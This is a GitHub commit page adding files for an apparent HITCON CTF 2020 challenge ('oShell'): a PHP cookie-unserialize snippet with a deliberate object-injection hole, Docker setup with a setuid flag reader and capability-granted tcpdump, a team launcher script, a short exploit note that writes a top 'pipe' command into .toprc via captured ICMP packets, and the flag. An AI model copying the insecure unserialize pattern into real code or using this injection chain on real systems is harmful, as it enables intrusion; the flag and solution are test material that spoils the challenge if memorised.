Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Orange Tsai
committed
Nov 29, 2020
1 parent
d477c39
commit bed6332
Showing
21 changed files
with
689 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
<?php | ||
error_reporting(0); | ||
$fid = 1337; | ||
|
||
function get($name) { | ||
if (isset($_COOKIE[$name])) { | ||
return $_COOKIE[$name]; | ||
} | ||
return false; | ||
} | ||
|
||
function set($name, $value = null) { | ||
if (empty($name)) return false; | ||
setcookie($name, $value); | ||
return true; | ||
} | ||
|
||
function getVisitor() { | ||
$sign = get('visitor'); | ||
if (empty($sign)) return false; | ||
$sign = base64_decode($sign); | ||
return $sign; | ||
} | ||
|
||
function signVisitor($extension = array()) { | ||
$sign = base64_encode(serialize($extension)); | ||
set('visitor', $sign); | ||
} | ||
|
||
$vistor = getVisitor(); | ||
if (!$vistor) highlight_file(__FILE__) && die(); | ||
$ext = unserialize($vistor); | ||
|
||
if (isset($ext['currentFid']) && $ext['currentFid'] == $fid) die('GG'); | ||
signVisitor(array('currentFid'=>$fid, 'beforeFid'=>$ext['currentFid'])); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
# CentOS 5.7 | ||
# Apache 2.2.22 | ||
./configure --prefix=/usr/local/apache2 --sysconfdir=/etc/httpd --enable-rewrite=static --with-mpm=worker --enable-so --enable-proxy --enable-proxy-http --enable-deflate --enable-headers --enable-expires --with-included-apr | ||
|
||
# PHP 5.3.27 | ||
./configure --prefix=/usr/local/apache2/php --with-apxs2=/usr/local/apache2/bin/apxs --with-config-file-path=/usr/local/apache2/php --enable-mysqlnd |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
#!/usr/bin/python -u | ||
import os, sys | ||
import pty | ||
import uuid | ||
import requests | ||
from time import sleep | ||
from tempfile import mkstemp | ||
from subprocess import check_output | ||
|
||
COLORS = { | ||
'header': '\033[95m', | ||
'blue': '\033[94m', | ||
'cyan': '\033[96m', | ||
'green': '\033[92m', | ||
'warning': '\033[93m', | ||
'fail': '\033[91m', | ||
'endc': '\033[0m', | ||
'bold': '\033[1m', | ||
'underline': '\033[4m', | ||
'blink': '\033[5m', | ||
} | ||
|
||
def check_token(token): | ||
def _is_valid_uuid(s): | ||
try: | ||
return uuid.UUID(s) is not None | ||
except: | ||
return False | ||
|
||
if _is_valid_uuid(token): | ||
r = requests.get('https://ctf2020.hitcon.org/team/token_auth?token=%s' % token) | ||
return r.json().get('id') | ||
# else: | ||
# if token == 'orange': | ||
# return True | ||
|
||
def my_exec(cmds): | ||
return check_output(cmds) | ||
|
||
def _color(s, color=''): | ||
code = COLORS.get(color) | ||
if code: | ||
return COLORS['bold'] + code + s + COLORS['endc'] + COLORS['endc'] | ||
else: | ||
return s | ||
|
||
if __name__ == '__main__': | ||
token = raw_input(_color('Team token: ', 'bold')).strip() | ||
if not token or not check_token(token): | ||
print(_color('Bad token. Bye!\n', 'warning')) | ||
exit(-1) | ||
|
||
name = 'team-%s' % token | ||
cmds = [ | ||
'sudo', | ||
'docker', 'ps', '-q', | ||
'-f', 'name=%s' % name | ||
] | ||
container_id = my_exec(cmds) | ||
if container_id: | ||
print(_color('[*] Connecting to initialized instance...\n', 'bold')) | ||
else: | ||
print(_color('[*] Initializing instance...\n', 'bold')) | ||
|
||
_, tmp_name = mkstemp(prefix='%s_'%name, dir='/home/orange/tmp/') | ||
with open(tmp_name, 'wb+') as fp: | ||
fp.write('this-is-secret-' + os.urandom(8).encode('hex')) | ||
|
||
os.chmod(tmp_name, 0o444) | ||
cmds = [ | ||
'sudo', | ||
'docker', 'rm', '-f', name | ||
] | ||
try: | ||
with open(os.devnull, 'w') as devnull: | ||
check_output(cmds, stderr=devnull) | ||
except: | ||
pass | ||
|
||
cmds = [ | ||
'sudo', | ||
'docker', 'run', '-d', '--rm', | ||
'--env', 'LOG_HOST=172.17.0.1', | ||
'-v', '%s:/enable.secret' % tmp_name, | ||
'--name', name, | ||
'oshell' | ||
] | ||
my_exec(cmds) | ||
sleep(2) | ||
|
||
cmds = [ | ||
'sudo', | ||
'docker', 'exec', '-ti', | ||
'-u', 'oShell', | ||
name, | ||
'python', '/oShell.py', 'tty' | ||
] | ||
|
||
pty.spawn(cmds) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
FROM alpine:3.7 | ||
MAINTAINER Orange Tsai<orange@chroot.org> | ||
|
||
# add user | ||
RUN adduser oShell -h / -s /bin/nologin -D -u 1337 -h /home/oShell/ | ||
|
||
# copy file | ||
ADD oShell.py / | ||
ADD readflag / | ||
ADD flag / | ||
ADD tcpdump /bin/ | ||
|
||
|
||
# cmd | ||
RUN apk update | ||
RUN apk add htop strace procps libcap python2 | ||
|
||
# permission | ||
RUN chmod 400 /flag | ||
RUN chmod +s /readflag | ||
RUN chmod 774 /oShell.py | ||
|
||
# setup | ||
RUN setcap cap_net_raw=eip /bin/tcpdump cap_net_raw=eip /bin/busybox | ||
RUN rm -rf /usr/bin/top && sed -i 's/UNKNOWN/3.3.12 /g' /bin/top | ||
|
||
CMD ["sleep", "300"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#!/bin/bash | ||
|
||
docker rm -f `docker ps -a -q` | ||
docker rmi -f oshell | ||
|
||
docker build . -t oshell | ||
# docker run -ti --name team-$1 -u oShell oshell |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
enable | ||
ping | ||
tcpdump -w /home/oShell/.toprc icmp | ||
|
||
ping -c 1 13.115.220.111 | ||
|
||
# https://github.com/PixelsCamp/ping-responder | ||
# echo net.ipv4.icmp_echo_ignore_all=1 | sudo tee /etc/sysctl.d/z01-disable_echo_reply.conf >/dev/null | ||
# systemctl restart systemd-sysctl | ||
echo -ne '\n\npipe\tOpen Files\ttouch /tmp/eeeeeeeeeeee\n\n' > payload | ||
python3 oshell-icmp.py -v -z -f payload |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
HITCON{A! AAAAAAAAAAAA! SHAR~K!!!} |
Oops, something went wrong.